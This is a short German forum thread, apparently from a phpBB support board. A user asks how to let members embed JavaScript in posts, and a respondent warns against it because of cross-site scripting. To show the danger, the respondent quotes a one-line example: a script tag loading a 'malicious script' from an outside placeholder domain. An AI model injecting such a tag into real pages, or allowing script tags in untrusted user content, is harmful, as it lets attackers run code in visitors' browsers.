Seite 1 von 1

Javascript in Posts erlauben wie?

Verfasst: 23.02.2007 14:09
von ATARI
Ich würde gern erlauben, dass user javascripte in ihre posts mit einbinden können.

muss man da einfach im acp html aktivieren und bei den erlaubten tags <script> mit reinschreiben oder?

Verfasst: 23.02.2007 16:51
von killerbees19
Ja, das sollte so funktionieren. Aber ich würde dir abraten, dass jeder Benutzer Javascript verwenden darf. Denn mit Javascript könnte jeder Benutzer bösartige Javascripte in die Posts schreiben, die zum Beispiel Teil einer XSS-Attacke sind. Dafür genügen wenige Zeilen:

Code: Alles auswählen

<script src="http://domain.de/boesesscript.js"></script>

MfG Christian